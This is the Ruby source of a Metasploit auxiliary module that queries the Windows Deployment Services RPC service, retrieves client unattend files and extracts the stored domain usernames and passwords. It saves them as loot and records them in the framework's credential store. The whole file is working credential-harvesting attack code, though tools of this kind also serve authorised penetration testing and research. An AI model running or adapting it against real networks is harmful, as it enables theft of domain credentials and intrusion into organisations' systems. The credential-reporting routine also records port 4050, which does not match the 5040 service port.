256 lines
7.5 KiB
Ruby
256 lines
7.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex/proto/dcerpc'
|
|
require 'rex/proto/dcerpc/wdscp'
|
|
require 'rex/parser/unattend'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
DCERPCPacket = Rex::Proto::DCERPC::Packet
|
|
DCERPCClient = Rex::Proto::DCERPC::Client
|
|
DCERPCResponse = Rex::Proto::DCERPC::Response
|
|
DCERPCUUID = Rex::Proto::DCERPC::UUID
|
|
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval',
|
|
'Description' => %q{
|
|
This module retrieves the client unattend file from Windows
|
|
Deployment Services RPC service and parses out the stored credentials.
|
|
Tested against Windows 2008 R2 x64 and Windows 2003 x86.
|
|
},
|
|
'Author' => [ 'Ben Campbell' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
|
|
[ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html']
|
|
],
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(5040),
|
|
], self.class)
|
|
|
|
deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion')
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])
|
|
], self.class)
|
|
end
|
|
|
|
def run_host(ip)
|
|
begin
|
|
query_host(ip)
|
|
rescue ::Interrupt
|
|
raise $!
|
|
rescue ::Rex::ConnectionError => e
|
|
print_error("#{ip}:#{rport} Connection Error: #{e}")
|
|
ensure
|
|
# Ensure socket is pulled down afterwards
|
|
self.dcerpc.socket.close rescue nil
|
|
self.dcerpc = nil
|
|
self.handle = nil
|
|
end
|
|
end
|
|
|
|
def query_host(rhost)
|
|
# Create a handler with our UUID and Transfer Syntax
|
|
|
|
self.handle = Rex::Proto::DCERPC::Handle.new(
|
|
[
|
|
WDS_CONST::WDSCP_RPC_UUID,
|
|
'1.0',
|
|
],
|
|
'ncacn_ip_tcp',
|
|
rhost,
|
|
[datastore['RPORT']]
|
|
)
|
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)
|
|
vprint_good("Bound to #{handle}")
|
|
|
|
report_service(
|
|
:host => rhost,
|
|
:port => datastore['RPORT'],
|
|
:proto => 'tcp',
|
|
:name => "dcerpc",
|
|
:info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"
|
|
)
|
|
|
|
table = Rex::Ui::Text::Table.new({
|
|
'Header' => 'Windows Deployment Services',
|
|
'Indent' => 1,
|
|
'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password']
|
|
})
|
|
|
|
creds_found = false
|
|
|
|
WDS_CONST::ARCHITECTURE.each do |architecture|
|
|
if architecture[0] == :ARM && !datastore['ENUM_ARM']
|
|
vprint_status "Skipping #{architecture[0]} architecture due to adv option"
|
|
next
|
|
end
|
|
|
|
begin
|
|
result = request_client_unattend(architecture)
|
|
rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
|
|
vprint_error(e.to_s)
|
|
print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
|
|
return nil
|
|
end
|
|
|
|
unless result.nil?
|
|
loot_unattend(architecture[0], result)
|
|
results = parse_client_unattend(result)
|
|
|
|
results.each do |result|
|
|
unless result.empty?
|
|
if result['username'] and result['password']
|
|
print_good("Retrived #{result['type']} credentials for #{architecture[0]}")
|
|
creds_found = true
|
|
domain = ""
|
|
domain = result['domain'] if result['domain']
|
|
report_creds(domain, result['username'], result['password'])
|
|
table << [architecture[0], result['type'], domain, result['username'], result['password']]
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
if creds_found
|
|
print_line
|
|
table.print
|
|
print_line
|
|
else
|
|
print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.")
|
|
end
|
|
end
|
|
|
|
def request_client_unattend(architecture)
|
|
# Construct WDS Control Protocol Message
|
|
packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)
|
|
|
|
guid = Rex::Text.rand_text_hex(32)
|
|
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid)
|
|
|
|
# Not sure what this padding is for...
|
|
mac = [0x30].pack('C') * 20
|
|
mac << Rex::Text.rand_text_hex(12)
|
|
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac)
|
|
|
|
arch = [architecture[1]].pack('C')
|
|
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, arch)
|
|
|
|
version = [1].pack('V')
|
|
packet.add_var( WDS_CONST::VAR_NAME_VERSION, version)
|
|
|
|
wdsc_packet = packet.create
|
|
|
|
vprint_status("Sending #{architecture[0]} Client Unattend request ...")
|
|
dcerpc.call(0, wdsc_packet, false)
|
|
timeout = datastore['DCERPC::ReadTimeout']
|
|
response = Rex::Proto::DCERPC::Client.read_response(self.dcerpc.socket, timeout)
|
|
|
|
if (response and response.stub_data)
|
|
vprint_status('Received response ...')
|
|
data = response.stub_data
|
|
|
|
# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
|
|
op_error_code = data.unpack('v*')[19]
|
|
if op_error_code == 0
|
|
if data.length < 277
|
|
vprint_error("No Unattend received for #{architecture[0]} architecture")
|
|
return nil
|
|
else
|
|
vprint_status("Received #{architecture[0]} unattend file ...")
|
|
return extract_unattend(data)
|
|
end
|
|
else
|
|
vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")
|
|
return nil
|
|
end
|
|
end
|
|
end
|
|
|
|
def extract_unattend(data)
|
|
start = data.index('<?xml')
|
|
finish = data.index('</unattend>')
|
|
if start and finish
|
|
finish += 10
|
|
return data[start..finish]
|
|
else
|
|
print_error("Incomplete transmission or malformed unattend file.")
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def parse_client_unattend(data)
|
|
begin
|
|
xml = REXML::Document.new(data)
|
|
return Rex::Parser::Unattend.parse(xml).flatten
|
|
rescue REXML::ParseException => e
|
|
print_error("Invalid XML format")
|
|
vprint_line(e.message)
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def loot_unattend(archi, data)
|
|
return if data.empty?
|
|
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")
|
|
print_status("Raw version of #{archi} saved as: #{p}")
|
|
end
|
|
|
|
def report_cred(opts)
|
|
service_data = {
|
|
address: opts[:ip],
|
|
port: opts[:port],
|
|
service_name: opts[:service_name],
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :service,
|
|
module_fullname: fullname,
|
|
username: opts[:user],
|
|
private_data: opts[:password],
|
|
private_type: :password
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
proof: opts[:proof]
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
def report_creds(domain, user, pass)
|
|
report_cred(
|
|
ip: rhost,
|
|
port: 4050,
|
|
service_name: 'dcerpc',
|
|
user: "#{domain}\\#{user}",
|
|
password: pass,
|
|
proof: domain
|
|
)
|
|
end
|
|
end
|